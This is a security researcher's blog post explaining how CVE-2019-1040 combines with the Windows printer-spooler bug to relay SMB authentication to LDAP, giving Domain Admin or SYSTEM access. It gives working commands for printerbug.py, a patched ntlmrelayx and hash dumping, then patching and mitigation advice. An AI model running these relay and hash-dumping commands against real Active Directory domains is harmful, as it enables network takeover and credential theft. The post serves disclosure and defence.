Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin
Earlier this week, Microsoft issued patches for CVE-2019-1040, which is a vulnerability that allows for bypassing of NTLM relay mitigations. The vulnerability was discovered by Marina Simakov and Yaron Zinar (as well as several others credited in the Microsoft advisory), and they published a technical write-up about the vulnerability here. The short version is that this vulnerability allows for bypassing of the Message Integrity Code in NTLM authentication. The impact of this however, is quite big if combined with the Printer Bug discovered by Lee Christensen and some of my own research that builds forth on the Kerberos research of Elad Shamir. Using a combination of these vulnerabilities, it is possible to relay SMB authentication to LDAP. This allows for Remote code execution as SYSTEM on any unpatched Windows server or workstation (even those that are in different Active Directory forests), and for instant escalation to Domain Admin via any unpatched Exchange server (unless Exchange permissions were reduced in the domain). The most important takeaway of this post is that you should apply the June 2019 patches as soon as possible.
0 steps away from relaying SMB to LDAP
As I’ve discussed previously in my blog about PrivExchange, the research by various people over the past year put us 1 step away from taking over any computer in Active Directory. If you could convince a Windows Server such as Exchange to authenticate to you, and relay that authentication to the Domain Controller over LDAP, it would be possible to perform operations in Active Directory with the rights of the relayed victim. In the case of Exchange, this resulted in high enough privileges to grant yourself DCSync rights, which is what the PrivExchange vulnerability was based on.
Alternatively, by abusing Resource Based Constrained Kerberos delegation, it is possible to grant an attacker impersonation rights on the victim server, which would result in Administrator access on that server (described in my Worst of both Worlds post). The catch however is that due to the way the NTLM protocol works, it was (more or less by accident) not possible to relay SMB traffic to LDAP, because the flags would trigger LDAP signing. This prevented authentication triggered over SMB by abusing the SpoolService bug from having an even higher impact.
The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP. Because Active Directory was already in a quite dangerous state (one vulnerability away from taking over any host), this single vulnerability is the final piece of the puzzle to use the SpoolService bug/feature to compromise any system. This is even possible across forest trusts, as the only requirement for the SpoolService bug is any authenticated account.
The attacks
At the moment I’ve identified two attack avenues:
- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD.
- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
There are a few notes on this:
- In the first attack, the Exchange server can be any version (including the ones that were patched for PrivExchange). The only requirement is that they have the high privileges Exchange has by default when installed in Shared permissions or RBAC mode. New Exchange deployments installed after February 12th 2019, or installations that were manually updated to reduce the permissions as recommended in this Microsoft blog are not vulnerable (but can still be vulnerable to the second attack).
- In the second attack, the server can be any unpatched Windows Server or workstation, including a Domain Controller. When targeting a Domain Controller, you need at least one vulnerable domain controller to relay the authentication to, while triggering the SpoolService bug on the other domain controller (relaying back to the same host might in theory be possible because we can alter the NTLM authentication, I haven’t investigated this).
- The second attack requires control over a computer account. This can be a computer account the attacker has obtained the password from because they already are Administrator on a workstation, or a computer account the attacker created, abusing the fact that any account in Active Directory can create those by default.
Proof of concepts
I’ve updated ntlmrelayx (part of impacket) to have a --remove-mic
flag, which exploits CVE-2019-1040 based on the technical description by the Preempt researchers.
Attack 1 - picking on Exchange (again)
In the first attack, we attack the Exchange server using the SpoolService/printer bug, and relay this using ntlmrelayx. I’m using printerbug.py from my krbrelayx repo, you can also use dementor or the original .NET code
python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
This will make the Exchange server connect to us:
Which we catch with ntlmrelayx running with the --remove-mic
flag:
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
This grants our user DCSync privileges, which we can use to dump all password hashes:
Attack 2 - Kerberos delegation
The second attack follows largely the process described in my previous blog.
We start ntlmrelayx.py with the --remove-mic
and --delegate-access
flags and relay this to LDAP over TLS (LDAPS) to be able to create a new machine account (we could also relay to plain LDAP, but then we’d have to escalate an existing machine account):
ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
And run the printerbug.py script again against a secondary domain controller (I’m aware it’s called rlt-app-server
below, but this is a server I promoted to DC in my lab):
Which gets us our relayed connection, creating a computer account:
Which we can use to impersonate a Domain Admin account:
And we can use this impersonated ticket to run secretsdump directly against this DC and get all the hashes :)
Bonus - jumping over forests
We can do exactly the same attack in the relaytest.local
domain if we have a user in a completely different (trusted) Active Directory forest, since any authenticated user can trigger the SpoolService backconnect. So I’ve set up a one-way, outgoing Forest trust from relaytest.local
to domainb.local
(which means users from domainb
can authenticate in the relaytest
forest/domain). This would work with a two-way trust as well.
We run the same commands, but trigger the printer bug now with the user from domainb
:
And we see the same result:
Defenses and mitigations
By abusing CVE-2019-1040, we can take over any vulnerable Windows host using a combination of protocol weaknesses and default settings. The most important mitigation is to install the June 2019 patch roll-ups ASAP.
Aside from this, if you haven’t done so already, reduce Exchange’s permissions as discussed in the PrivExchange blog (section Released updates).
You can prevent NTLM relaying to LDAP by enforcing LDAP signing and LDAP channel binding for LDAP over TLS. As described in a different blog however, it is possible to bypass channel binding as well when the patch for this issue is not installed.
To prevent the SpoolService bug from being triggered by attackers, you can choose to disable the Printer Spooler service. A different mitigation of this is to block outgoing traffic on port 445 on sensitive hosts, or to make sure network filtering prevents servers from connecting to client ranges and isolating individual clients as much as possible. Having a highly segmented network is an important defense measure in general.
To conclude, remember that even installing all available patches still puts you 1 step away from relaying SMB to LDAP, and unless you apply further defense-in-depth measures it’s just waiting for the next inevitable NTLM exploit.
Code
The POC code has been merged into the master branch of impacket on GitHub: https://github.com/SecureAuthCorp/impacket. This implements the MIC removal in both the SMB and LDAP(s) relay clients. I’ve also written a scan tool which can be used to check if hosts are vulnerable, published here: https://github.com/fox-it/cve-2019-1040-scanner.
Credits
This post combines the work of a lot of researchers:
- Marina Simakov, Yaron Zinar and Yongtao Wang (as well as several others credited in the Microsoft advisory) for discovering this vulnerability.
- Lee and Will for their work on the SpoolService bug and Breaking forest boundaries
- Alberto Solino for his work on impacket
- Elad Shamir for the Resource Based Constrained delegation research
- All the other people mentioned in blogs linked on this page